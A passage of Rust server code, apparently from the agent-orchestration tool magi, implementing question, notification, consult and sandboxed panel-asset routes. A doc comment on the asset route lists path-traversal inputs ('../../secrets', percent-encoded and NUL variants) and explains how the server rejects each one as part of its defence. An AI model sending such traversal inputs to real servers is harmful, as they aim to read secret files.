8126    run: Option<String>,
8127    chat: Option<String>,
8128    display: String,
8129    delivery_error: Option<String>,
8130    decision: crate::task_decision::Decision,
8131}
8132
8133impl DecisionView {
8134    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8135        Some(Self {
8136            id: inquiry.id,
8137            task: inquiry.task,
8138            run: inquiry.run,
8139            chat: inquiry.delivered_to,
8140            display: inquiry.display,
8141            delivery_error: inquiry.delivery_error,
8142            decision: inquiry.decision?,
8143        })
8144    }
8145}
8146
8147#[derive(serde::Serialize)]
8148struct DecisionsView {
8149    items: Vec<DecisionView>,
8150    unreadable: usize,
8151    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8152}
8153
8154// Read-only: list visits and inquiry links never create owner decisions,
8155// delivery receipts or effect acknowledgements.
8156async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8157    blocking(move || {
8158        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8159        let mut views: Vec<_> = items
8160            .into_iter()
8161            .filter_map(DecisionView::from_inquiry)
8162            .collect();
8163        views.sort_by_key(|view| {
8164            (
8165                view.decision.status == crate::task_decision::Status::Resolved,
8166                view.id.clone(),
8167            )
8168        });
8169        Ok(Json(DecisionsView {
8170            items: views,
8171            unreadable,
8172            migration_errors: crate::task_chat::migration_issues(&ui.home),
8173        }))
8174    })
8175    .await
8176}
8177
8178async fn decision_get(
8179    State(ui): State<Arc<Ui>>,
8180    Path(id): Path<String>,
8181) -> ApiResult<Json<DecisionView>> {
8182    blocking(move || {
8183        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8184        DecisionView::from_inquiry(inquiry)
8185            .map(Json)
8186            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8187    })
8188    .await
8189}
8190
8191async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8192    blocking(move || {
8193        let questions = ui.questions.list();
8194        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8195        Ok(Json(
8196            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8197                .into_iter()
8198                .map(|view| view.with_origin(&tasks, &talks, &watches))
8199                .collect(),
8200        ))
8201    })
8202    .await
8203}
8204
8205/// Question content and answer controls never wait for task/chat provenance.
8206async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8207    blocking(move || {
8208        Ok(Json(question_views(
8209            ui.questions.list(),
8210            &ui.questions,
8211            || deputy_config(&ui.repo),
8212        )))
8213    })
8214    .await
8215}
8216
8217fn question_record_revision(question: &Question) -> String {
8218    use std::hash::{Hash as _, Hasher as _};
8219    let mut hash = std::hash::DefaultHasher::new();
8220    serde_json::to_vec(question)
8221        .expect("serializable question")
8222        .hash(&mut hash);
8223    format!("{:016x}", hash.finish())
8224}
8225
8226#[derive(Serialize)]
8227struct QuestionOriginView {
8228    id: String,
8229    record_revision: String,
8230    origin_chat: Option<String>,
8231    origin_chat_closed: bool,
8232    can_consult_chat: bool,
8233}
8234
8235async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8236    blocking(move || {
8237        let questions = ui.questions.list();
8238        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8239        Ok(Json(
8240            questions
8241                .into_iter()
8242                .map(|question| {
8243                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8244                    let can_consult_chat = consult.is_some();
8245                    let talk = crate::consult::associated_talk_with_watches(
8246                        &tasks, &talks, &question, &watches,
8247                    );
8248                    QuestionOriginView {
8249                        record_revision: question_record_revision(&question),
8250                        id: question.id,
8251                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8252                        origin_chat: talk.map(|talk| talk.id),
8253                        can_consult_chat,
8254                    }
8255                })
8256                .collect(),
8257        ))
8258    })
8259    .await
8260}
8261
8262type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8263
8264/// Only the task ancestry and chats these questions actually reference. Run
8265/// mappings share the reconciled queue index; exact task references bypass it.
8266/// No question means no task/chat I/O, including no index reconciliation.
8267fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8268    fn task_for_run(
8269        ui: &Ui,
8270        index: &mut Option<Vec<Arc<TaskRelation>>>,
8271        run: &str,
8272        loaded: &HashMap<String, Task>,
8273    ) -> ApiResult<Option<Task>> {
8274        if !plain_record_id(run) {
8275            return Ok(None);
8276        }
8277        if index.is_none() {
8278            *index = Some(ui.indexed_tasks()?);
8279        }
8280        Ok(index
8281            .as_ref()
8282            .expect("loaded index")
8283            .iter()
8284            .find(|task| task.runs.iter().any(|id| id == run))
8285            .and_then(|task| {
8286                loaded
8287                    .get(&task.id)
8288                    .cloned()
8289                    .or_else(|| ui.queue.get(&task.id).ok())
8290            })
8291            .filter(|task| task.runs.iter().any(|id| id == run)))
8292    }
8293    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8294        plain_record_id(id)
8295            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8296            .flatten()
8297            .filter(|task| task.id == id)
8298    };
8299    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8300    let mut index = None;
8301    let mut tasks = HashMap::new();
8302    let mut talks = HashMap::new();
8303    for question in questions {
8304        for reference in crate::consult::question_task_refs(question, &watches) {
8305            let mut current = match reference {
8306                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8307                crate::consult::QuestionTaskRef::Run(id) => {
8308                    task_for_run(ui, &mut index, id, &tasks)?
8309                }
8310            };
8311            let mut seen = HashSet::new();
8312            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8313                let Some(task) = current.take() else {
8314                    break;
8315                };
8316                if !seen.insert(task.id.clone()) {
8317                    break;
8318                }
8319                let chat = task.chat_talk().map(str::to_owned);
8320                let followup = task.followup.clone();
8321                tasks.insert(task.id.clone(), task);
8322                if let Some(chat) = chat {
8323                    if plain_record_id(&chat)
8324                        && !talks.contains_key(&chat)
8325                        && let Ok(talk) = ui.talks.get(&chat)
8326                    {
8327                        talks.insert(chat, talk);
8328                    }
8329                    break;
8330                }
8331                let Some(followup) = followup else {
8332                    break;
8333                };
8334                current = match followup.origin_task {
8335                    Some(id) => direct_task(&id, &tasks),
8336                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8337                };
8338            }
8339        }
8340    }
8341    let mut tasks: Vec<Task> = tasks.into_values().collect();
8342    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8343    Ok((tasks, talks.into_values().collect(), watches))
8344}
8345
8346/// `GET /api/notifications`: not dismissed, newest first, with the unread
8347/// count so the badge and the list cannot disagree.
8348async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8349    blocking(move || {
8350        let items = ui.notices.list();
8351        let unread = items.iter().filter(|n| n.unread()).count();
8352        let items: Vec<_> = items
8353            .into_iter()
8354            .map(|n| {
8355                let question = crate::notices::answerable_question(&n, &ui.questions);
8356                let mut item = serde_json::to_value(n)?;
8357                item["answerable_question"] = serde_json::json!(question);
8358                Ok(item)
8359            })
8360            .collect::<anyhow::Result<_>>()?;
8361        Ok(Json(
8362            serde_json::json!({ "unread": unread, "items": items }),
8363        ))
8364    })
8365    .await
8366}
8367
8368fn notice_error(e: anyhow::Error) -> ApiError {
8369    // An unknown or malformed id and a vanished file are the same answer to
8370    // the phone: that notification is gone.
8371    ApiError::not_found(format!("{e:#}"))
8372}
8373
8374/// `POST /api/notifications/{id}/read`.
8375async fn notification_read(
8376    State(ui): State<Arc<Ui>>,
8377    Path(id): Path<String>,
8378) -> ApiResult<Json<Notice>> {
8379    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8380}
8381
8382/// `POST /api/notifications/{id}/dismiss`.
8383async fn notification_dismiss(
8384    State(ui): State<Arc<Ui>>,
8385    Path(id): Path<String>,
8386) -> ApiResult<Json<Notice>> {
8387    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8388}
8389
8390/// `POST /api/notifications/read-all`.
8391async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8392    blocking(move || {
8393        let changed = ui.notices.mark_all_read()?;
8394        Ok(Json(serde_json::json!({ "marked": changed })))
8395    })
8396    .await
8397}
8398
8399/// The body of `POST /api/questions/{id}/answer`.
8400///
8401/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8402/// a bad request rather than a guess: an answer magi invented is worse than a
8403/// question left open.
8404#[derive(Debug, Default, Deserialize)]
8405#[serde(default, deny_unknown_fields)]
8406struct NewAnswer {
8407    choice: Option<String>,
8408    text: Option<String>,
8409    talk: Option<String>,
8410    head: Option<String>,
8411}
8412
8413async fn question_answer(
8414    State(ui): State<Arc<Ui>>,
8415    Path(id): Path<String>,
8416    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8417) -> ApiResult<Json<QuestionView>> {
8418    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8419    let answer = match (body.choice, body.text) {
8420        (Some(c), None) => Answer::Choice(c),
8421        (None, Some(t)) => Answer::Text(t),
8422        (Some(_), Some(_)) => {
8423            return Err(ApiError::bad_request(
8424                "send either `choice` or `text`, not both",
8425            ));
8426        }
8427        (None, None) => {
8428            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8429        }
8430    };
8431
8432    blocking(move || {
8433        let id = resolve_question(&ui.questions, &id)?;
8434        let q = ui
8435            .questions
8436            .get(&id)
8437            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8438        if !q.can_answer() {
8439            // Answered from the terminal, or by another phone, in between the
8440            // list and the tap. The UI shows the recorded answer rather than an
8441            // error, so it needs the record, not just the status.
8442            return Err(ApiError::conflict(format!(
8443                "question {} is already {}",
8444                q.short(),
8445                q.status.as_str()
8446            )));
8447        }
8448        // `Question::answer` owns the rules - an unoffered choice, free text on
8449        // a multiple-choice question, an empty reply - so the route does not
8450        // restate them and cannot drift from the CLI's behaviour.
8451        let cfg = deputy_config(&ui.repo);
8452        let (q, ()) = ui
8453            .questions
8454            .update(&q.id, |r| {
8455                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8456                // Buttons retain their displayed chat/head binding. A direct
8457                // decision does not require a button or a prior persona offer.
8458                if r.routed_task.is_some()
8459                    && r.merge_target.is_some()
8460                    && merge
8461                    && (body.talk.is_some() || body.head.is_some())
8462                {
8463                    let talk_id = body
8464                        .talk
8465                        .as_deref()
8466                        .context("approval button requires its chat")?;
8467                    let head = body
8468                        .head
8469                        .as_deref()
8470                        .context("approval button requires the displayed head")?;
8471                    let talk = ui.talks.get(talk_id)?;
8472                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8473                    r.answer_chat_button(answer, talk_id, head)
8474                } else {
8475                    r.answer(answer)
8476                }
8477            })
8478            .map_err(ApiError::bad_request_from)?;
8479        let (tasks, talks, watches) =
8480            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8481        Ok(Json(
8482            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8483        ))
8484    })
8485    .await
8486}
8487
8488/// A dedicated status avoids the client's settled-question 409 handling.
8489fn question_text_error(e: anyhow::Error) -> ApiError {
8490    let reason = e
8491        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8492        .map(|e| e.reason);
8493    let error = ApiError::bad_request_from(e);
8494    if let Some(reason) = reason {
8495        ApiError {
8496            text_reason: Some(reason),
8497            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8498        }
8499    } else {
8500        error
8501    }
8502}
8503
8504/// The body of `POST /api/questions/{id}/say`.
8505#[derive(Debug, Deserialize)]
8506#[serde(deny_unknown_fields)]
8507struct NewSay {
8508    body: String,
8509}
8510
8511/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8512///
8513/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8514/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8515/// file, so there is no turn to serialize against and no
8516/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8517/// is a *different* process - the run parked behind `magi ask` - and picks
8518/// the reply up on its own poll of the very same file, same as an answer
8519/// does.
8520async fn question_say(
8521    State(ui): State<Arc<Ui>>,
8522    Path(id): Path<String>,
8523    body: std::result::Result<Json<NewSay>, JsonRejection>,
8524) -> ApiResult<Json<QuestionView>> {
8525    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8526    blocking(move || {
8527        let id = resolve_question(&ui.questions, &id)?;
8528        let q = ui
8529            .questions
8530            .get(&id)
8531            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8532        if !q.status.open() {
8533            // Same granularity as `question_answer`: answered or abandoned in
8534            // between the list and the tap is not this route's error to
8535            // explain any differently.
8536            return Err(ApiError::conflict(format!(
8537                "question {} is already {}",
8538                q.short(),
8539                q.status.as_str()
8540            )));
8541        }
8542        // `Question::say` owns the one rule that matters here - an empty
8543        // message tells the agent nothing - so the route does not restate it.
8544        let cfg = deputy_config(&ui.repo);
8545        let (q, ()) = ui
8546            .questions
8547            .update(&q.id, |r| {
8548                if body.body.trim().is_empty() {
8549                    return r.say(body.body);
8550                }
8551                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8552                r.say(body.body)
8553            })
8554            .map_err(question_text_error)?;
8555        let (tasks, talks, watches) =
8556            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8557        Ok(Json(
8558            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8559        ))
8560    })
8561    .await
8562}
8563
8564/// A disconnected request or a replacing listener cannot interrupt the short
8565/// transaction between persistence and detached worker publication.
8566async fn admitted<T: Send + 'static>(
8567    admission: AdmissionGuard,
8568    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8569) -> ApiResult<T> {
8570    tokio::spawn(async move {
8571        let result = work.await;
8572        drop(admission);
8573        result
8574    })
8575    .await
8576    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8577}
8578
8579/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8580/// came from. The question stays open: the chat agent answers it with `magi
8581/// answer`, or puts the decision to the owner in the conversation.
8582///
8583/// Answers 202 and runs the turn in the background, like every route that
8584/// spends agent calls. The text is queued as a draft of the existing talk, and
8585/// the turn goes through the talk's own gate and session; no seat or waiter is
8586/// started here.
8587async fn question_consult(
8588    State(ui): State<Arc<Ui>>,
8589    Path(id): Path<String>,
8590) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8591    let admission = ui.begin_admission()?;
8592    admitted(admission, async move {
8593        let (q, tasks, talks, watches, talk, cfg) = blocking({
8594            let ui = Arc::clone(&ui);
8595            move || {
8596                let id = resolve_question(&ui.questions, &id)?;
8597                let q = ui.questions.get(&id).map_err(|e| {
8598                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8599                })?;
8600                if !q.status.open() {
8601                    return Err(ApiError::conflict(format!(
8602                        "question {} is already {}",
8603                        q.short(),
8604                        q.status.as_str()
8605                    )));
8606                }
8607                let (tasks, talks, watches) =
8608                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8609                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8610                    return Err(ApiError::conflict(format!(
8611                        "question {} has no chat to ask",
8612                        q.short()
8613                    )));
8614                };
8615                // Read the config before `begin` saves anything: a failure here
8616                // must leave no consult record or draft behind, or a retry would
8617                // see `fresh == false` and never start the turn.
8618                let cfg = if q.consult.is_none() {
8619                    Some(Config::discover(&talk.repo, None)?.0)
8620                } else {
8621                    None
8622                };
8623                Ok((q, tasks, talks, watches, talk, cfg))
8624            }
8625        })
8626        .await?;
8627        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8628            .await
8629            .map_err(ApiError::from)?;
8630        let (view, reclaimed, submitted) = blocking({
8631            let ui = Arc::clone(&ui);
8632            move || {
8633                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8634                let claim = if fresh {
8635                    match ui.begin_queued_talk_turn(&talk.id)? {
8636                        Some(turn_guard) => {
8637                            let talk = ui.talks.get(&talk.id)?;
8638                            let cfg = match cfg {
8639                                Some(cfg) => cfg,
8640                                None => Config::discover(&talk.repo, None)?.0,
8641                            };
8642                            Some((talk, cfg, turn_guard))
8643                        }
8644                        None => None,
8645                    }
8646                } else {
8647                    None
8648                };
8649                let q = ui.questions.get(&q.id)?;
8650                let cfg = deputy_config(&ui.repo);
8651                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8652                    .with_origin(&tasks, &talks, &watches);
8653                Ok((view, claim, fresh.then_some(talk.id)))
8654            }
8655        })
8656        .await?;
8657        #[cfg(not(test))]
8658        {
8659            if let Some(id) = submitted {
8660                crate::chat_worker::spawn_turn(&ui.talks, &id)
8661                    .await
8662                    .map_err(ApiError::from)?;
8663            }
8664            drop(reclaimed);
8665        }
8666        #[cfg(test)]
8667        let _ = submitted;
8668        #[cfg(test)]
8669        if let Some((talk, cfg, turn_guard)) = reclaimed {
8670            let talks = ui.talks.clone();
8671            let id = talk.id.clone();
8672            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8673        }
8674        Ok((StatusCode::ACCEPTED, Json(view)))
8675    })
8676    .await
8677}
8678
8679/// Expand an id or short id to exactly one question id.
8680fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8681    if plain_record_id(id) && store.path_of(id).is_file() {
8682        return Ok(id.to_owned());
8683    }
8684    pick(
8685        store.list().into_iter().map(|q| q.id).collect(),
8686        id,
8687        "question",
8688    )
8689}
8690
8691/// `GET /api/questions/{id}/panel`.
8692///
8693/// The panel an agent wrote for this question, as `text/html` under
8694/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8695/// A question without one is a 404 rather than an empty page: the client
8696/// preflights this route with `HEAD` and must be able to tell "no panel" from
8697/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8698/// parent document so it cannot tell the difference by looking.
8699///
8700/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8701/// sanitises or minifies it - a sanitiser is a list of things someone thought
8702/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8703/// is the direction that stays safe when an agent writes markup nobody
8704/// predicted.
8705async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8706    blocking(move || {
8707        let id = resolve_question(&ui.questions, &id)?;
8708        let Some(html) = ui.questions.panel_html(&id) else {
8709            return Err(ApiError::not_found(format!("question {id} has no panel")));
8710        };
8711        Ok(panel_response(
8712            "text/html; charset=utf-8",
8713            false,
8714            html.into_bytes(),
8715        ))
8716    })
8717    .await
8718}
8719
8720/// `GET /api/questions/{id}/asset/{name}`.
8721///
8722/// One file from the question's own panel directory, so a panel can show a
8723/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8724/// having to allow anything off this machine.
8725///
8726/// This is the only route in the server where a client names a file, so it is
8727/// the only one with a traversal surface, and the name is checked by
8728/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8729/// what is worth being explicit about, because the answer is not "all of it in
8730/// one place":
8731///
8732/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8733///   the raw request path and `{name}` spans exactly one segment, so a real
8734///   slash makes the request too long for the route and the router answers 404.
8735/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8736///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8737///   `..\secrets` respectively, which look like plain filenames to the router.
8738///   The validator refuses them here - both for the literal `..` and because
8739///   `/` and `\` are not in the permitted character set - and answers 400.
8740/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8741///   the platform's path API is not, and it is refused here for the same
8742///   reason: NUL is not a permitted character.
8743/// * [`Questions::panel_asset`] validates again on read, so the check is not
8744///   load-bearing in only one place. This route's own check exists so the
8745///   failure is a 400 that says which name was wrong, rather than a store error
8746///   the operator has to interpret.
8747async fn question_asset(
8748    State(ui): State<Arc<Ui>>,
8749    Path((id, name)): Path<(String, String)>,
8750) -> ApiResult<Response> {
8751    // Before any filesystem work and before any path is built: a name this
8752    // server will not serve should not become a `PathBuf` at all.
8753    if !crate::ask::valid_asset_name(&name) {
8754        return Err(ApiError::bad_request(format!(
8755            "`{name}` is not a usable asset name"
8756        )));
8757    }
8758    blocking(move || {
8759        let id = resolve_question(&ui.questions, &id)?;
8760        let asset = ui
8761            .questions
8762            .panel_asset(&id, &name)
8763            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764        let Some(bytes) = asset else {
8765            return Err(ApiError::not_found(format!(
8766                "question {id} has no asset `{name}`"
8767            )));
8768        };
8769        Ok(panel_response(
8770            asset_content_type(&name),
8771            is_svg(&name),
8772            bytes,
8773        ))
8774    })
8775    .await
8776}
8777
8778/// Content type for a panel asset, from a closed whitelist.
8779///
8780/// A whitelist with an `application/octet-stream` fallback rather than a
8781/// guess, because the one answer that must never come out of here is
8782/// `text/html`. An agent that writes `notes.html` into its panel directory and
8783/// links it would otherwise get its own markup rendered at the top level of the
8784/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8785/// magi's origin - which is precisely the thing the panel design exists to
8786/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8787///
8788/// `nosniff` accompanies this on every response, so a browser cannot decide it
8789/// knows better than the type we sent.
8790fn asset_content_type(name: &str) -> &'static str {
8791    match extension(name).as_deref() {
8792        Some("png") => "image/png",
8793        Some("jpg" | "jpeg") => "image/jpeg",
8794        Some("gif") => "image/gif",
8795        Some("webp") => "image/webp",
8796        Some("svg") => "image/svg+xml",
8797        Some("css") => "text/css; charset=utf-8",
8798        Some("txt") => "text/plain; charset=utf-8",
8799        _ => "application/octet-stream",
8800    }
8801}
8802
8803/// Is this an SVG, and therefore a file that must never be opened at the top
8804/// level?
8805fn is_svg(name: &str) -> bool {
8806    extension(name).as_deref() == Some("svg")
8807}
8808
8809/// Lowercased extension, or `None` for a name without one.
8810fn extension(name: &str) -> Option<String> {
8811    name.rsplit_once('.')
8812        .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815/// Every panel response, with the four headers that make it safe and, for an
8816/// SVG, a fifth.
8817///
8818/// One function rather than a header list per handler, because a panel route
8819/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8820/// model gone, silently, on one of two routes. Adding a third panel route later
8821/// means calling this, and there is nowhere else to build a panel response.
8822///
8823/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8824/// as an `<img src>` inside the panel that script cannot run - but the asset
8825/// URL is also a plain URL an operator can be talked into opening in a tab,
8826/// where it is a document on magi's own origin. `Content-Disposition:
8827/// attachment` makes the browser download it instead of rendering it, which
8828/// closes that door without taking away the ability to draw a diff. Raster
8829/// images have no such execution surface and are left inline, so tapping a
8830/// screenshot still shows it.
8831fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832    let mut res = (
8833        [
8834            (header::CONTENT_TYPE, content_type),
8835            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837            (header::REFERRER_POLICY, "no-referrer"),
8838        ],
8839        body,
8840    )
8841        .into_response();
8842    if download {
8843        res.headers_mut().insert(
8844            header::CONTENT_DISPOSITION,
8845            HeaderValue::from_static("attachment"),
8846        );
8847    }
8848    res
8849}
8850
8851/// A talk as the phone reads it.
8852///
8853/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8854/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8855/// parses markdown itself - and the process-local `thinking` hint.
8856#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858    question: String,
8859    target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864    #[serde(flatten)]
8865    talk: Talk,
8866    turn_bodies_md: Vec<Vec<md::Node>>,
8867    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8868    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870    merge_approvals: Vec<ChatApproval>,
8871    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8872    /// this server process.
8873    ///
8874    /// This is deliberately not durable: another server process cannot see
8875    /// it, and a restarted server must not claim an old turn is live. It is a
8876    /// progress hint rather than proof a reply landed; the transcript remains
8877    /// the source of truth for that.
8878    thinking: bool,
8879    /// Context-window usage, derived per request - see
8880    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8881    /// and each mutation) so the phone needs no extra call or polling.
8882    context: talk::ContextUsage,
8883    /// `[talk] operator_name`, when configured; the Chat labels the
8884    /// operator's turns with it.
8885    operator_name: Option<String>,
8886    /// The active persona's display name; `None` for the default voice.
8887    persona_name: Option<String>,
8888    /// URL of the avatar for the conversation's persona (the default voice
8889    /// included). Server-built; a configured `icon` never reaches the client.
8890    persona_avatar: String,
8891    /// Operator avatar; display only and independent of repository config.
8892    operator_avatar: String,
8893    magi_avatar: String,
8894}
8895
8896impl TalkView {
8897    /// Reads the talk's repository config itself; a config that cannot be
8898    /// read leaves the window unknown but never fails the conversation.
8899    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902    }
8903
8904    /// As [`Self::new`], with the config already in hand (the list reads one
8905    /// per repository, not one per conversation).
8906    fn with_config(
8907        talk: Talk,
8908        thinking: bool,
8909        cfg: Option<&Config>,
8910        home: &FsPath,
8911        cache: &id_links::IndexCache,
8912    ) -> Self {
8913        let references = cache.for_talk(home, &talk);
8914        Self::with_references(talk, thinking, cfg, home, &references)
8915    }
8916
8917    fn with_references(
8918        mut talk: Talk,
8919        thinking: bool,
8920        cfg: Option<&Config>,
8921        home: &FsPath,
8922        references: &id_links::IdIndex,
8923    ) -> Self {
8924        // This owned value is the display DTO; never write it back to the talk store.
8925        let snapshot = talk.clone();
8926        for (index, turn) in talk.turns.iter_mut().enumerate() {
8927            let original = &snapshot.turns[index];
8928            if turn.messages.is_empty() {
8929                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930                    turn.messages.push(talk::Message {
8931                        sender: Some(talk::Sender::Magi),
8932                        accepted_at: None,
8933                        body: original.body.clone(),
8934                        display: Some(display),
8935                        recovery_event: None,
8936                        attachments: original.attachments.clone(),
8937                        reply: None,
8938                    });
8939                }
8940            } else {
8941                for (i, message) in turn.messages.iter_mut().enumerate() {
8942                    message.display =
8943                        talk::notice_display(&snapshot, original, original.messages.get(i));
8944                    if message.display.is_some() {
8945                        message.sender = Some(talk::Sender::Magi);
8946                    }
8947                }
8948            }
8949        }
8950        for message in &mut talk.pending_messages {
8951            if message.display.is_none()
8952                && (message.sender == Some(talk::Sender::Magi)
8953                    || snapshot
8954                        .completion_notices
8955                        .iter()
8956                        .any(|r| r.notice == message.body))
8957            {
8958                message.display = crate::prompt::legacy_notice_display(&message.body);
8959                if message.display.is_some() {
8960                    message.sender = Some(talk::Sender::Magi);
8961                }
8962            }
8963        }
8964        if talk.pending_messages.is_empty()
8965            && snapshot
8966                .completion_notices
8967                .iter()
8968                .any(|r| r.notice == talk.pending)
8969            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8970        {
8971            talk.pending_messages.push(talk::Message {
8972                sender: Some(talk::Sender::Magi),
8973                accepted_at: None,
8974                display: Some(display),
8975                recovery_event: None,
8976                body: talk.pending.clone(),
8977                attachments: talk.pending_attachments.clone(),
8978                reply: None,
8979            });
8980        }
8981        let excerpts: Vec<Vec<Option<String>>> = talk
8982            .turns
8983            .iter()
8984            .map(|turn| {
8985                turn.messages
8986                    .iter()
8987                    .map(|m| {
8988                        m.display
8989                            .as_ref()
8990                            .map(|d| d.facts.chars().take(240).collect())
8991                    })
8992                    .collect()
8993            })
8994            .collect();
8995        for turn in &mut talk.turns {
8996            let provenance = talk::sender(turn, None);
8997            turn.sender = Some(provenance);
8998            for message in &mut turn.messages {
8999                message.sender = Some(message.sender.unwrap_or(provenance));
9000            }
9001        }
9002        // Old reply snapshots have only a role; recover provenance from their target.
9003        let senders: Vec<Vec<talk::Sender>> = talk
9004            .turns
9005            .iter()
9006            .map(|turn| {
9007                if turn.messages.is_empty() {
9008                    vec![talk::sender(turn, None)]
9009                } else {
9010                    turn.messages
9011                        .iter()
9012                        .map(|m| talk::sender(turn, Some(m)))
9013                        .collect()
9014                }
9015            })
9016            .collect();
9017        for reply in talk
9018            .turns
9019            .iter_mut()
9020            .flat_map(|t| t.messages.iter_mut())
9021            .chain(talk.pending_messages.iter_mut())
9022            .filter_map(|m| m.reply.as_mut())
9023        {
9024            if let Some(Some(excerpt)) = excerpts
9025                .get(reply.target.turn)
9026                .and_then(|ms| ms.get(reply.target.message))
9027            {
9028                reply.excerpt = excerpt.clone();
9029                reply.sender = Some(talk::Sender::Magi);
9030            }
9031            if reply.sender.is_none() {
9032                reply.sender = senders
9033                    .get(reply.target.turn)
9034                    .and_then(|messages| messages.get(reply.target.message))
9035                    .copied();
9036            }
9037        }
